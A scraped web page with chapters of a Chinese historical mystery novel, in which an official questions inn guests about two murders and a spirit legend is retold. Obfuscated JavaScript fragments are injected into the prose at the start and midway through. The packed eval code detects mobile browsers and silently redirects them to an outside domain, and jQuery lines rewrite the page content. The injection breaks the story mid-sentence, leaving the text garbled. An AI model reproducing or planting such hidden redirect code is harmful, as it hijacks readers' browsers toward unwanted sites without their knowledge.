l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16516306|186232||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自该仰天大笑重抖擞。” 一旁的商隐之动了动。 晏熙和商隐之推门而入的时候,齐怀章正在读书。 “君子尊德性而道学问,致广大而尽精微,极高明而道中庸②……二位来了,快请坐。” 齐怀章的屋内一眼望过去全是摆放整齐的书本。 齐怀章将手中的书本收起放好,“二位想先从什么地方问起。” 见齐怀章自己主动,晏熙便单刀直入,“想问问齐生为何来着云娘店备考?” 齐怀章笑笑,“《礼记·学记》中有言,‘独学而无友,则孤陋而寡闻。’③我之所以选择这云娘店,是因为它虽为旅店,却深居云岫山,平日里既有天南地北的游客前来,在这里互相交流探讨,人又不会太多,也不失清净。再加上此处山川相缪、暗香疏影,实乃不可多得的好去处。” 商隐之一脸笃信地点了点头,“齐生高见,难怪我读不好书,原来是没选好读书的地方。可是,马上要过年了,齐生也不回家吗?” 齐怀章神色暗了暗,“书未读成,不敢回家。” “明武明礼之事,齐生如何看待?” “人为。” 齐怀章毫不犹豫地回答到。这到让晏熙深感意外,“山魅阿紫地故事,不是齐生告诉我们的吗?” “山魅阿紫的故事流传已久,但这不代表,山魅阿紫就真实存在。否则,书中那么多精怪志异,若是全都真实存在,这世间岂不是要乱了套。” “明武明礼之事,案发场景与山魅阿紫中书生陈贤所历之事全然相同,但若是有人早就知道了这个传说,然后假借传说来遮掩自己的行径呢?” 晏熙紧紧地盯着齐怀章,“那在这云娘店众人之中,齐生可有怀疑的对象?” 齐怀章气定神闲地笑了笑,“我倒是,还有另一个猜测。” 晏熙和商隐之对视了一眼,“另一个猜测?” “明武出事那晚,我虽未与诸位一同用膳,却也将席间之事听了个七七八八,后来云娘为我送饭时也叮嘱我切勿招惹那明武明礼兄弟。” “后来我读书时感到困乏,便想出去透透气,那时大家已经都歇息了,无意间我听到三楼有声音传来,便想过去看看。去到那边时我发现似乎只是李县令和王大善人在交谈,期间我听到他们提及了一个人——‘一夕烟’。” “‘一夕烟’?你是说那个传说中的游侠‘一夕烟’?” “也许是李县令或者王大善人携带了什么宝贝在身上,结果被那‘一夕烟’给盯上了。我猜应该是李县令,所以‘一夕烟’才先处理了明武明礼,但是不想打草惊蛇,所以假借了山魅阿紫的名义。” 这倒是从前晏熙和商隐之从没想过的角度,可是,“那‘一夕烟’现在会在哪里呢?” “‘一夕烟’在江湖上赫赫有名,据说他武艺高强,可以日行万里,想必一个小小的云岫山,定然困不住他。” 云娘店中的众人还没搞清楚,又冒出来一个“一夕烟”,晏熙不免吐槽,“他若真这般厉害,又何必当一个小小的游侠?” 齐怀章摇了摇头,“晏公子,这‘一夕烟’当游侠,并非是因为他只能当游侠,而是他选择了成为游侠。” “那照你的说法,这个‘一夕烟’盯上的其实是李县令,所以那是不是我只需要安排人在李县令身边守株待兔,就可以抓到他了?” “这……晏公子,我不建议你去抓‘一夕烟’。” 晏熙挑了挑眉,“为什么?你先是告诉我这案子可能是‘一夕烟’做的,有说不希望我抓住他,你到底是何意啊齐生?” 齐怀章叹了口气,“这‘一夕烟’虽是游侠,干得却都是劫富济贫的事情,而且他只杀坏人,从来不伤害好人,甚至我还曾听闻这‘一夕烟’其实是个女子。他虽用的方法不那么体面,行的却都是正义之事,如此有勇有谋,善良仁义的人,你当真要抓她吗?” “可是不抓他,我这案子怎么破?” “我有一计。”齐怀章招了招手,示意晏熙和商隐之都凑过去,“现下所有人都在猜测是不是山魅作祟,这不是正好吗?” 晏熙拍了拍齐怀章的脑袋,“我说你是读书读傻了吧?”商隐之在一旁无奈笑道,“齐生,真不知道你是怎么想的,居然给我们的黜陟使大人出这般馊主意。” 齐怀章揉了揉脑袋,小声嘟囔到,“这不是挺好一主意吗?” “好了,交代一下你这两天都做了点什么。” “没做什么呀,我大部分时候都在房间里读书,偶尔听见外面有什么热闹的就出去看一眼。” “你除了听见李县令和王嗣谈论‘一夕烟’以外,还有没有发现什么异常?” “没了。” “那好吧,你接着读书,我们就不打扰了。” 晏熙和商隐之正要出去,李绍成带着王嗣和杜仲突然闯进了齐怀章的房间。 李绍成脸色苍白,他狠狠盯着齐怀章,“我认出你来了,说,这一切是不是你干的?” 11. 王嗣和杜仲的证词 硕鼠硕鼠,无食我黍!三岁贯女,莫我肯顾。① 五年前,青州洛水县。 起先只是有人意外吃坏了肚子,却接连数日不见好转,无奈去看了大夫,药是吃下去了,可人却越来越虚弱;渐渐地,吃坏了肚子的人越来越多,医馆门口的队伍也越来越长;再后来,几乎家家户户都有人生了病,药物供不应求,衣食住行接连涨价,就这样,一场灾难在洛水县爆发。 齐怀章是最早一批发现不对劲的人之一。注意到异常之后他提议让大家尽早备药,注意防范和隔离,减少聚集和接触,并且把消息告知官府。 却没有人在意齐怀章的话,官府更是笑他危言耸听,甚至连他的家人都不当回事,觉得他是读书读出了毛病,只说让他好好休息几天。只有祖母认真听了齐怀章的告诫,还派人去药房里拿了些药回来。 等到大家都意识到齐怀章说得没错的时候,已经来不及了。瘟疫开始大规模爆发,医馆里的人没日没夜地忙着研究药房,而时任洛水县县令的李绍成却因为害怕影响政绩,选择了封锁消息。 李绍成先是假意施了几天药,接着又借为大家看病的名义,将那些病患聚集在了一起。一把火,就是那些人的归宿。 等众人意识到不对想要逃离的时候才发现,李绍成已经将离开洛水县的道路也封锁了起来。每日都有病患被活活拖走,看不下去的齐怀章私下召集了众人提议大家集体冲破封锁,将消息带到外面去寻求帮助。然而李绍成只用了三句话,就瓦解了这一切。 “第一、谁敢离开洛水县,就地处决。你们带着瘟疫,逃出去也不会有人愿意靠近你们。第二,谁指认出发起人,县令保谁家全家无虞,从今日起送药送粮请大夫,直至疫情结束。第三,县令下令焚烧,是为了隔绝瘟疫的传播,也是为了保全更多人的无奈之举,你们要相信县令是在为你们好,这两人患病的人不是已经比之前少了吗?” 三句话后,齐怀章被送到了李绍成面前。李绍成对他说,蚊蚁负山,不自量力。然后将他也扔进了病人堆里。 是齐怀章的祖母连夜从病人堆里找出了齐怀章,带着他逃出了洛水。齐怀章委屈地问祖母,“他们为什么要背叛我?我是在救他们啊。”祖母说,“你救不了他们,没人能救得了他们。” 客房内,李绍成厉声质问齐怀章,“你到底做了些什么?” 齐怀章冷笑一声,“那不妨李县令先说说你觉得我做了什么?” 李绍成指了指一旁的杜仲,“我刚才吃过饭后便身体不适,杜仲亲眼看到,你曾接触过我的饭食。说,你到底在对我的饭食做了些什么?明武明礼是不是被你用这样的方式害死的?” “李县令,你先冷静。”晏熙出声制止了李绍成,她看向杜仲,“你真的亲眼看到齐生给李县令的饭食里下东西了?” 商隐之顺手拿了把椅子放在李绍成身后,李绍成低头一看,才发现他已经坐在了椅子上。 杜仲点了点头,“就是他。我前面去帮李县令取饭的时候,看到他在县令的饭旁鬼鬼祟祟。本来我没当回事,以为他不过是去找吃的的,结果县令一吃完饭便闹肚子,我这才意识到不对。” 晏熙又看向齐怀章,“齐生,你那会儿是去做什么了?” 李绍成坐在椅子上指着齐怀章大骂,“除了给我下药他还能去做什么,你小子快把解药拿出来!说,你当年到底是怎么逃出来的?真没想到,当初我用最快的办法控制住瘟疫,拯救了整个洛水县的人,你个不明事理的酸丁,为了那一点小小的牺牲,挑拨百姓与我对着干不成,留得一条烂命,今日居然还想害我?” 晏熙和商隐之看向李绍成,“一点小小的牺牲?” 李绍成眼珠一转,“大人有所不知,事急从权,我压下消息只是为了不造成恐慌;若我没有及时清理他们,瘟疫必会蔓延的更快更多,到时候遭殃的,可就不止这些人了;若不是我封锁了道路,瘟疫蔓延出去,整个青州乃至全国都必遭大难啊。还请大人明鉴。” 齐怀章冷哼一声,“我早就不是当初的我,也早就不在乎那些人了。我给你放的,不过是一些泻药罢了。我只是想让你难受难受而已,想杀你的人多了,我何必脏了自己的手?” 一番闹剧结束,晏熙和商隐之顺道跟着王嗣回房去审问。 王嗣笑意盈盈地给晏熙和商隐之倒了茶,“原来是误会一场,这祸事是我的人惹出来的,二位放心,我一定会好好教训他。唉,只不过这两天云娘店里闹得不得安生,其实也不怪大家多心。” 晏熙接过王嗣递过来的茶小抿一口,“此事与你无关,王大善人无需自责。听说王大善人乐善好施,每年都会在晋桑县免费施粥。” 王嗣“呵呵”笑了两声,“举手之劳而已。这世间穷苦之人太多了,我帮不了他们太多,偶尔施一施粥,也算是尽了一份力。” “王大善人不要这么说,有善心还愿意做善事的人,可真不多。不过,王大善人是为何来这云娘店啊?” 王嗣弯了弯眼睛,“自然是来看这云岫山的冬日日出的。” “在我到这云娘的时候,大人就已经在了。只是看一场日出,何须在此停留这么多日?” “其实是为了等李县令。我与李县令相识多年,只可惜李县令公务繁忙,我二人一直少有机会可以游山玩水,此番县令终于得空,所以我提前上山来做安排,只可惜不凑巧,这几日大雪连天,怕是看不到了。此番美景,日后晏大人和商公子若有空,一定要去看看。” 商隐之点了点头,“好说好说。既然王大善人为了欣赏这一景观愿意花费这么多时日,想必一定不同凡响,等雪停了,我一定邀请晏公子一起去看。” 晏熙接着问道,“看来王大善人与李县令关系甚好,不知二位是如何相识的?” 王嗣大笑几声,“哈哈哈哈,三年前,李县令初到晋桑县,那年元宵佳节李县令想举办一场灯会供百姓享乐,于是便找到了我来帮忙。我一听便知这是好事一桩,于是当场答应。李县令见我如此爽快,便邀我一同饮酒下棋,席间我二人相谈甚欢,仿若老友重逢,如此这般一来二去,变成了朋友。” “那王大善人与明武明礼也一定相熟了?不知你对他二人印象如何?” 王嗣长叹一声,“明武明礼向来尽忠职守,忠心侍主,落得如此下场,实在叫人惋惜啊。” “哦?看起来那明武明礼平日里对王大善人倒是客气?” “他们都是武夫,直来直往惯了,偶有冒犯也实属正常,不过他们对我并无恶意,是以我也不会去计较。” “那对于发生在明武明礼身上的祸事,王大善人可有怀疑?” 王嗣轻笑两声,“晏大人,你高看我王某了。对于此事,我是真的全无头绪。你看这云娘店众说纷纭,又说是山魅做的,又说是人做的,我听他们所言,是觉得各有各的道理。不过最终啊,我还是相信晏大人您一定会找出那个真正的凶手。” 王嗣说跟没说似的,又把问题推给了晏熙。 “那请问王大人,您这两天都做了些什么啊?” “我啊,我主要就是张罗着想让大家能在被大雪围困的日子里吃好一点,以至于不必太过消沉。前天我从张大虎手里买了一头鹿,晚上张罗着大家一起吃了烤鹿肉,后来宴席结束,我便回房休息了。昨天一大早,我就想好了晚上的菜谱,于是早早去和云娘交待了一番。因为明武那事儿,李县令心情不好,所以下午我陪着他下了会儿棋。昨日晚间我和晏大人、李县令还有素织贤侄一起吃了饭,饭后又去李县令房间下了会儿棋、消了消食便回来休息了。” 晏熙点头附和,“说起来,我还没感谢你呢。昨天那羊肉羹汤味道不错,要不是王大善人,我可就吃不上了。” “晏大人这是说的哪里的话,这都是王某应该做的。晏大人若还有什么想吃的,尽管告诉我,我去想办法安排。” 晏熙做思考状,“这一时我倒也想不起来。” 王嗣摆摆手,“无妨,无妨,大人什么时候想到什么时候告诉我就是。” “那我就先谢谢王大善人了。不过,这几日,王大善人可有发现什么异常?” 王嗣皱起眉头想了想,“晏大人,实在是抱歉,王某眼力浅薄,什么都没能发现。想当初晏大人就在王某身边,王某却没能认出来,真是惭愧啊。” 晏熙对着王嗣笑了笑,“好吧,该走的程序我也走完了,既然这样,那王大善人便好好休息吧,我先走了。” 王嗣一拍手背,“哎呀,我差点忘了,晏大人这几天每天忙着抓那凶手,想必定然有所损耗。我这里还有一条鹿茸,一会儿我便让人给大人送去,大人你可得好好补一补啊。” 王嗣说着又看向商隐之,“商公子,我这里还有些上好的茶叶,你每天跟着晏大人忙前忙后,也颇为辛苦,那茶叶你拿回去提神最好。” 晏熙拍了拍王嗣的肩膀,“王大善人想的可真周到,那我就谢过了。” 商隐之跟着晏熙下楼寻找杜仲,见四下无人,商隐之拦住了晏熙。商隐之上前一步,“晏公子,你就这么直接收下了?” 晏熙看着商隐之,眼神清澈,“收下什么了?” 商隐之用眼神指了指王嗣的房间,“当着我的面,你这样做不太合适吧?” 晏熙一脸无所谓的表情,“你不是也收了?” 商隐之倒吸一口气,“那不是你帮我收的吗?” 晏熙拍了拍商隐之,“放心了,隐之兄,没事的。他要给我们干嘛不收啊,反正我们又没答应要帮他做什么。而且大家现下低头不见抬头见,你要是拒绝了,往后的日子可怎么办?”商隐之没有作声。晏熙转身继续向着杜仲的房间走去,“那好吧,你要是不想要,就全归我了。” 商隐之三步并作两步追上晏熙,“我没说不要。我只是觉得意外,之前我还一直以为,你是个清官呢。” “水至清则无鱼,太清的官,是活不下去的。” 杜仲和明武明礼一样,住着的是云娘店的月字房,且就在明武明礼隔壁。杜仲这间房内有三张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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杜仲晃了晃脑袋,“二位大人抱歉,我就是这番话一直憋在心里太久了,您二位一问,我就忍不住全吐了出来。你们可千万不要告诉我家老爷,否则他一定会说我的。” “放心吧,我们不会告诉他的。你跟着你们家老爷多久了?” “回大人,小人的父亲是府上的帮工,小人从小就跟着老爷了。” “看你对王大善人如此忠心,想必他平日里待你一定不错。” “回大人,是这样的,我家老爷真的是个大好人,真的。他平时总是宽大为怀,从不克扣我们的月份,真的从不;平日里每个月都给我们休假,真的每个月都有;老爷即使是和下人们说话,也总是温声细语的,我认识好多人都说想来我们府上做工呢。” “王大善人对你们这么好啊,那你可真幸运。这两天,你都做了些什么啊?” “回大人,我作为老爷的贴身小厮,每日都跟在我家老爷身后,老爷走哪儿我去哪儿,老爷让我做什么我就做什么,除了晚上睡觉,基本上没和我家老爷分开过。” “这样啊,你就住在明武明礼的隔壁,晚上睡觉的时候你有听到什么动静吗?” “回大人,我有听到明武明礼的打呼声。他们两个人打起呼来可重了,我感觉整栋楼都在震动。” “除此之外,还有别的声音吗?” 杜仲摇了摇头,“回大人,我一到睡觉的时候,满脑子都是他们二位的打呼声,其他的,还真没怎么注意。” 商隐之看着杜仲,“那看来,今晚你可以睡个好觉了。” 杜仲低垂着头,“也许吧。只希望不管是山魅还是别的什么人,今晚都不要再出现了。” 从杜仲的房间离开后,晏熙和商隐之一路无言,一直走到房门口,商隐之才开口,“你有没有觉得,杜仲说的话,好像怪怪的?” 云娘店三楼。 “李县令,您身体可好些了?我来陪您下棋了。”王嗣推开李绍成房间的大门走了进去。 李绍成在桌前静坐,阴影遮蔽了他的半张脸。“他问完你了?” 王嗣恭恭敬敬地坐到李绍成对面,“问完了,就是那些寻常问题,还问得乱七八糟,没个重点,我看他的样子,也就是走个流程,实际上没什么真本事,估计最后还是要草草结案。” 李绍成冷哼一声,“他若是真没什么本事,就坐不上这个位置了。而且我的明武明礼绝不能枉死。” “反正我们送的礼他都收了,想必定然不会为难我们。就是可惜了明武明礼兄弟,不知大人您有什么想法?” 李绍成沉吟片刻,“我一直在想,你和他相处了那么多天都没看出来他就是黜陟使,我第一眼见他也觉得他不过就是个寻常公子哥,现下他又如此草包,会不会……” 王嗣一脸惊讶,“这我倒从来没有想过,他不是有册子吗?冒充朝廷命官可是死罪,长安那么多世家,有几个草包倒也正常。” 李绍成摇了摇头,“不行,我们还是得想办法确认一番。” 12. 山魅阿紫·夏长 有一美人,清扬婉兮。邂逅相遇,适我愿兮。① 王魌将阿紫带回了家中。 新树枝头喜鹊立,斜阳流水绕村田。傍晚的锦霞将王魌回家的路映成了橘黄色,他走在前面,阿紫跟在后面,王魌偶尔停下脚步等等阿紫,霞光在对方的脸上跳跃,温婉而明媚。 阿紫说自己逃荒而来,一路流落至此,现如今只剩下孤身一人。她不知该往何处去,才胡乱地走到了这荒地,若不是幸得王魌相救,怕是要葬身豺狼之腹。 “或许姑娘可以在此暂留几日,稍作休整,待想好方向,再继续前行。”王魌的目光里满是诚挚。 简单和秦婶说明了情况后,王魌留下阿紫与秦婶作伴,便去了灶房准备晚饭。 不知何时,陈贤悄然出现在王魌身后,准备吓一吓他。王魌淡然转身,“你今日书读完了?”陈贤笑笑,露出两颗虎牙,“差不多吧。” 王魌抬眼看了看陈贤,满脸写着怀疑,“真的?你今日怎地这般快?”陈贤伸了个拦腰,“我骗你做甚。”王魌将手中的菜扔进陈贤怀里,“那正好帮我择菜,你往桌前一坐就是一天,也该活动活动筋骨了。” 王魌拿起一旁的木桶去外边井中打水,路过阿紫和秦婶时,阿紫礼貌地对着王魌笑了笑,这明明是自己再熟悉不过的地方,王魌却突然觉得有点儿局促,还差点儿不小心绊倒。 王魌假装若无其事地回到灶房,正在择菜的陈贤打趣道,“魌儿哥,你带回来的那个女子,是谁啊?该不会,是来给我当嫂嫂的吧?” 王魌将菜叶上的水珠洒向陈贤的脸,弄得陈贤连连后退,“哥哥哥,我错了。” 王魌看了一眼正在和秦婶说笑的阿紫,“你可别乱说话,她只是暂时路过这里,无处可去才来家中借住几天,之后还会走的。” 当天晚上,附近的老老少少突然都来陈家做客。王魌不用想都知道那些人是来做什么的。虽然他们多只是好奇,并没有恶意,但王魌还是建议阿紫可以先去隔壁自己家中避一避。 他让阿紫住进了他父母的房间,他自己则决定拿着被子去找陈贤挤一挤。 屋里明明还有一间房,阿紫不明白王魌这是为何。王魌低着头回答到,“阿紫姑娘初来乍到,本就引人注意,若是再孤男寡女共处在同一个屋檐下,只怕有辱姑娘清誉,王魌罪不敢当。不过夜间姑娘若是有什么需要,大喊一声就可以了,我就在隔壁,听得见。” 第二天早晨,王魌还在睡梦中,突然闻到了一股饭香。身旁还在迷迷糊糊睡着的陈贤摸索着拍了拍他,“哥,什么味道啊,好香啊,你做好饭了?” 王魌循着饭香一路来到自家灶房,发现是阿紫正在里面忙活。看见王魌过来,阿紫对着他笑了笑,“王大哥,你醒了,饭就快好了。” 王魌瞬间清醒过来,上前一步准备抢过阿紫正在釜中搅拌的木勺,“姑娘是客人,王魌怎可让客人来做这些,还是我来吧。” 阿紫紧握住木勺,“阿紫虽是客人,王大哥却也是阿紫的救命恩人,阿紫无以为谢,只能做点力所能及之事以表感谢。” 两个人都想拿到木勺,一不小心,王魌和阿紫的手碰到了一起,二人同时收手,木勺掉到了地上。 “抱歉,阿紫姑娘,是王魌冒昧了。”王魌说着,低头从地上捡起了木勺。 阿紫立在原地,“若是阿紫不能为王大哥做些什么的话,那阿紫只能告辞了。” 王魌猛地抬起头,“你……若是你一定要做些什么的话,可否帮我陪陪秦婶?” 王魌解释到,“陈贤忙于课业,我白日里大部分时间都在田间,秦婶眼睛看不见无法出门,只能在那小院子里一个人打转,连个说话的人都没有。昨日我见你和秦婶相谈甚欢,你若是愿意的话,还请再多陪秦婶说说话。” 阿紫点头答应,“好。” 王魌向阿紫行礼,“那就多谢姑娘了。还请姑娘出去休息,这里就交给王魌吧。” 早晨太阳初升,王魌扛着犁镜在田地里耕作。旁边的叔叔伯伯们看见他,“哟,这不是王魌吗?还以为你今天不来了呢。”“哈哈哈,你们听说了吗?我们魌儿昨个儿早上还说没那心思,结果呀,晚上就带回家一个姑娘!”“可不是吗?我家夫人昨晚去看过了,说是貌若天仙,知书达理,可水灵了呢。”“我说魌儿昨天怎么突然唱了那歌,原来呀,是早就有想法了。”“……” 在众人的七嘴八舌中,王魌再一次羞红了脸,“诸位叔叔伯伯们,真不是那样的,你们误会了。” “行了,魌儿,你就别害羞了,叔叔伯伯们都是过来人,年轻时候的那点心思啊,都明白的。”“就是,这有什么的呀,你也到年纪了,应该的。”“你跟我们说说,那女娃家在何处,家中有几口人,都是干什么的,你与那女娃又是如何相识的,我们帮你把把关。” 见众人越说越离谱,王魌赶紧阻止,“王魌发誓,我与阿紫姑娘绝不像叔叔伯伯们说的那般,还请叔叔伯伯们不要再妄下断言。田间活还多着呢,我们大家还是抓紧时间干活吧。” 没过多久,突然有人拍了拍王魌的肩膀,对方用下巴示意,“你看,那是谁?” 王魌抬头,看见是阿紫扶着秦婶走了过来。 阿紫笑着看向陈魌,“秦婶总是待在一间院子里,难免无聊,正好今日天气好,我便说陪秦婶出门走走,问秦婶想去哪儿,秦婶说,她想来田里看看你,我便将她带了过来,没有打扰到你吧?” 王魌呆愣愣地摇了摇头,“没,没有。” 秦婶看起来很开心的样子,她站在田边使劲地嗅了嗅,“魌儿啊,我好久都没来过这田里了,这泥土的味道,好熟悉啊。” 阿紫问秦婶,“秦婶,你喜欢吗?” 秦婶拍了拍阿紫搀着她胳膊的手,“喜欢喜欢,太好了。” 阿紫笑了起来,“你要是喜欢,以后啊,只要天气好,我每天都带你来这里看看。” 秦婶笑着点头,“好啊,好啊,那可太好了。魌儿啊,你继续干活去吧,不用管我们,我和阿紫我们就在这田边转转。” 王魌点头答应,“唉,好嘞,秦婶。”然后他看向阿紫,“那就有劳阿紫姑娘了。” 阿紫这样一留,就从春日留到了夏日。每日王魌去田中耕作,阿紫便在家中陪着秦婶,天气好时阿紫会带着秦婶去外面走走,有时还会扶着秦婶来到田边,等到王魌结束耕作,三个人便会一同回家。 日子就这样一天天缓缓过着。 某一天中午,突然来了一场急雨,正在吃午饭的王魌扔下饭碗就准备往外跑。 阿紫连忙问道,“王大哥,怎么了?” 王魌匆匆披上蓑衣拿上锄具,“今年的雨来得早了一些,我得赶紧去补一补田间的沟渠,免得这雨万一下个不停,田间作物都被水给淹了。” 一旁的陈贤也匆匆忙忙扒拉完碗里的饭,“哥,你等一下,我和你一起。” 阿紫也紧跟着拿起蓑衣,“我也去帮忙吧。” “不行。”王魌厉声制止了陈贤和阿紫,“我去补完沟渠就回来,雨天路滑,你们两个都在家里待着。” “哥,你就让我跟你一起去吧,我们两个人动作还能快一点儿,不然我在家也安不下心来。”陈贤说着已经走到了门口,“阿紫你就别去了,我和哥去去就来,你在家帮忙照顾我阿娘。” 王魌看了看天上越下越大的雨,点头答应。阿紫还想再试一试,王魌将阿紫已经带好的蓑帽取了下来,“秦婶不能没人照顾,你就留下吧,别担心,这活儿我们经常干,一会儿就回来。” “阿紫啊,你就留下来吧,你去了,他们哥俩儿一边干活还得一边担心我。正好咱们在家里收拾收拾东西做点儿应对洪水的准备,也算是帮了他们。”最终还是秦婶开口劝住了阿紫。 “那好吧,你们两个,可一定要小心啊,早去早回,知道了吗?”阿紫不情不愿地将蓑衣脱下。 王魌和陈贤拿起工具拔腿就跑。 “你一定奇怪为何这雨才刚下一会儿,下成什么样还不一定,魌儿就要急匆匆地去修水渠,所以才格外担心是不是?”秦婶猜出了阿紫的心思。 “那是因为啊,魌儿的父母还有我的丈夫都是在洪水中丧生的,那一场洪水带走了好多我们熟悉的人,让人至今想起来都心有余悸啊。” “魌儿虽然嘴上不说,但我知道,自打那时起,他心里就一直留下了一片阴影。可能他自己都没发现,他其实对雨啊,洪水啊这些东西格外敏锐,发现一点点端倪就要赶紧补救,做到万无一失才肯罢休。” 阿紫长出了一口气,“原来是这样,看他那么紧张,我还以为要有什么大事发生了。” “没事儿,你不必太过担心,咱们啊,好好把这顿饭先吃完,然后收拾点东西做好万一的准备就够了。”秦婶安抚地握了握阿紫的手。 阿紫将碗筷递回秦婶手中,“所以刚才……这么多年,您和陈贤哥就一直配合着他?” 秦婶叹了口气,“从小失去至亲的痛苦,哪里是旁人三言两语就可以愈合的。”秦婶暗示性地拍了拍阿紫的手,“不过我想,现在或许有人可以帮他一把。” 吃完饭后阿紫跟着秦婶收拾出来一些衣物和干粮,把它们装起来放在门口,然后又把家里值钱的东西都收进一口大箱子里。 “天灾无情。万一洪水真的来了,咱们拿起这些东西就往高处跑。这箱子能那得上就拿,若是拿不上就放着吧,人活着才是最重要的。”秦婶坦然地交代,“若真到了那时候,你大可不必管我这老太婆。我这么大岁数了,还瞎了一双眼睛,带着我只会拖累你们。” 阿紫猛地摇头,“秦婶, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16516308|186232||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 您说什么呢?我怎么可能丢下您不管?您这么好的人,养大了王大哥还收留了我,您放心,只要我活着,您就一定会没事的。” 秦婶还想再说点什么,被阿紫给制止了。“您不要再说了,该怎么做,我心中自有分辨,总之,无论遇到什么情况,我都不可能抛下您的。” 秦婶叹了口气,“傻孩子,和魌儿一样的傻孩子。若我当年织的那两匹纁布到了你手上,也算是值得了。” 王魌和陈贤说是去去就会,然而阿紫和秦婶等了好久他们都没能回来。雨一直下着,无事可做的阿紫越等心越急,一直不安地朝门口张望。 秦婶感觉到了阿紫的不安,出言安慰了她几句,阿紫也努力想让自己平静下来,却没有什么效果。刚刚知道了王魌曾经的经历,再看看这如柱的大雨,阿紫只想马上见到王魌。 那一头,王魌和陈贤还在田里修补着沟渠。 本来他们已经修补完了自家的沟渠准备回家,但看看周围的其他田地,王魌又停了下来。“不行,我们得把其他的沟渠也给补了。” 陈贤看了一眼望不到头的田地,“啊?哥,真的吗?” 王魌坚定地点了点头,“只补咱们一家的田地,是没有用的。万一这雨一直下,到时候雨水堆积,只靠咱们家那段沟渠排水是不够的,时间久了,还是得被淹掉。” 于是陈贤跟着王魌掉头留下,暴雨里,众人高歌着号子一同修补着沟渠。 等到确定所有的沟渠都被修补完毕,陈贤又陪着王魌仔细检查了一遍,两个人才收起东西一同往家中走。突然不远处的烟雨朦胧中,出现了一个身穿紫色衣服的人。 王魌快步上前,那人正是撑着伞的阿紫。 王魌惊喜地看向阿紫,“你,你怎么来了?” “我不放心,便来看看。”阿紫用衣角帮忙擦了擦王魌脸上的雨水,“你别担心,秦婶我已经安排好了,应急的衣服、干粮还有家中的东西我和秦婶都已经收拾好了。” 王魌从阿紫手中接过伞,他斜着伞柄帮阿紫撑上,“谢谢你,阿紫,我这里也忙完了,咱们回家吧。” “你,站在这里等了多久?”王魌轻声开口。 “没多久,我刚过来一会儿。”阿紫细声回答。 “雨下得这么大,下次你就不要过来了。雨天冷,你好好和秦婶在家待着,不用担心我,万一你淋了雨或是受了寒,生病了怎么办?”王魌细细地叮嘱阿紫。 “我哪儿那么娇气,淋一点雨受一点寒就生病。当初我身无分文一路奔逃至此,路上什么样的天气没经历过啊,还不是好好的。”阿紫对王魌的担心并不是很服气。 王魌顿了顿,“原来那些,我并不知道。现在你就在我身边,我绝对不会再让你经历那些。我知道你很坚强,可你若是病了,我还是会为你担心。” 两个人撑着伞离开,伞不够大,阿紫想让王魌也站在伞下,王魌却说自己又蓑帽,不碍事,于是阿紫便靠近了一些王魌。不知道什么时候,王魌握住了阿紫的手。 二人进入家中,却仍牵手撑着伞没有放开,就那样站了好一会儿,直到门外传来响动,王魌和阿紫才似从梦中惊醒一般双双躲开。 阿紫害羞地站到一旁,一脸不爽的陈贤走了进来,“哥,你还记得有一个我吗?” 王魌这才想起,他是和陈贤一同去的田间。 王魌连忙上前帮陈贤把湿了的蓑衣脱下,“咳,那个,你快进屋,我现在去烧点热水,赶紧洗一洗,别着凉了。” “不用烧了。”阿紫轻声说道,“出门前,我已经将热水烧好了,你们二人快去洗洗吧。”说完阿紫便先行离开。 看着阿紫离开的背影,王魌只觉得自己还想再冲进这暴雨里跑一遭。 这场暴雨到了晚上就停了,王魌一直悬着的心终于放了下来,第二天,王魌和阿紫都平安无事,唯有陈贤生了病。 王魌对了忘了陈贤那事心中有愧,于是每日任劳任怨端茶送药,陈贤幽幽地看着他,终于忍不住开口,“哥,你要是喜欢阿紫姑娘,就告诉她。” 王魌敲响了阿紫的房门。 “阿紫姑娘,当初你来到此地,我邀你暂且留下,等想好去处在离开。陈魌想问问阿紫姑娘,如今,你想好去处了吗?”王魌吸了一口气,“如今,你还想要离开吗?” 阿紫看着王魌,“那王大哥是否想让阿紫离开?” 王魌摇了摇头,又点了点头。“若姑娘想要离开,王魌绝不阻拦,但若是,若是姑娘想要留下了,王魌喜不自胜。” “王魌家中一方田地,一座宅院,躬耕为生,家中还有一个养我长大的婶婶和一个正在读书的弟弟。若是姑娘愿意留下,王魌后半生定当每日为姑娘画眉梳头,对待姑娘一心一意。” “阿紫,你可愿成为我王魌的妻子?” 13. 十个疑问 明月昭昭映清霜,故人此意何处寄。 商隐之在屋顶找到了晏熙。 晏熙就那样静静地坐着。她的瘦削而白皙的脸庞在夜色中看不分明,唯有一双眸子清澈而明亮。 商隐之缓缓靠近她那看起来单薄而落寞的背影,轻轻坐在她身旁,在她的头顶撑起一把伞,“怎么了?” 晏熙回过头来。商隐之这才发现晏熙的眸子是湿的,里面百转千回,似在诉说着千千万万。 商隐之有点不知所措,他下意识地轻轻抚上晏熙的眼,想把里面的怅惘全部抹去。 晏熙向后避了避,商隐之瞬间清醒过来,他收回自己刚才触碰过晏熙的手看了看,他觉得自己好像有一点病了,居然想要把一个男人揽入怀中,还是一个盗取了他身份的男人。 可是,他这么做,一定有不得已的苦衷和理由吧。 商隐之掏出一方粉色的罗帕,“你是在因为找不到它而难过吗?” 